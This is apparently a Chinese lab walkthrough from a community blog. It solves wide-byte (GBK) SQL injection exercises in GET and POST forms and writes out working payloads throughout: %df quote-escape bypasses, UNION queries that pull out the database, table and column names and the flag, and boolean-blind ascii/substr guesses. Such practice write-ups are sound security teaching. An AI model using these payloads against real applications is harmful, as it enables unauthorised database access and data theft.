宽字节-2

举报
xcc-2022 发表于 2023/02/24 21:48:21 2023/02/24
【摘要】 7. 查询字段内容判断flag在C_Flag字段内%df' and 1=2 union select 1,2,C_Flag from china_flag limit 0,1 -- qqqimagePOST注入靶场二地址http://inject2.lab.aqlab.cn:81/Pass-16/index.php?id=1第二题只是闭合不同查询库名用户名一般存在字符限制,所有这边用密码作为...
7. 查询字段内容

判断flag在C_Flag字段内
%df' and 1=2 union select 1,2,C_Flag from china_flag limit 0,1 -- qqq


image

POST注入靶场二

地址http://inject2.lab.aqlab.cn:81/Pass-16/index.php?id=1
第二题只是闭合不同

查询库名

用户名一般存在字符限制,所有这边用密码作为显错位置;
%df") and 1=2 union select 1,2,database() -- qqq
得到库名widechar


image
查询表名

%df") and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1 -- qqq
得到表名为china_flag


image
查询字段名

%df") and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema = database() limit 0,1) -- qqq


image
7. 查询字段内容

判断flag在C_Flag字段内
%df") and 1=2 union select 1,2,C_Flag from china_flag limit 0,2 -- qqq


image

POST注入靶场三

地址http://inject2.lab.aqlab.cn:81/Pass-17/index.php
靶场16使用的是表单post传参,%df是url编码,post不会进行url解码,这里就不能使用%df的方式,可以使用在表单内填入一个汉字的方法,getpost传参正常情况下使用的是强大统一的UTF-8,而这个网址装了GBK
GBK编码只有在遇到中文的时候才会执行,遇到英文和ascii编码是不会动的。
而UTF-8除了ascii表上面的字符每哥占一个字节,其他的那些中文汉字,韩文,泰文等等都是占三个字节,而GBK只有中文,汉字+\ =4个字节,经过GBK编码就变成了两个汉字。
或') or 1=1 -- q


image


判断字段数

或') or 1=1 order by 3 -- q


image
猜库名长度

或') or length(database())=8 -- qqq


image
猜库名

或') or ascii(substr(database(),1,1))=1 -- qqq
依次测试得到数据库名称widechar

猜表名

或') or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>1 -- qqq
依次测试得到表名为china_flag

猜字段名

或') or (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 limit 1,1)=1 -- qqq
测试得到字段名C_Flag

猜字段内容

或') or (select ascii(substr(C_Flag,1,1))from china_flag limit 2,1)=1 -- q
测试得到flag为zKaQ-Kzj+mz







【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。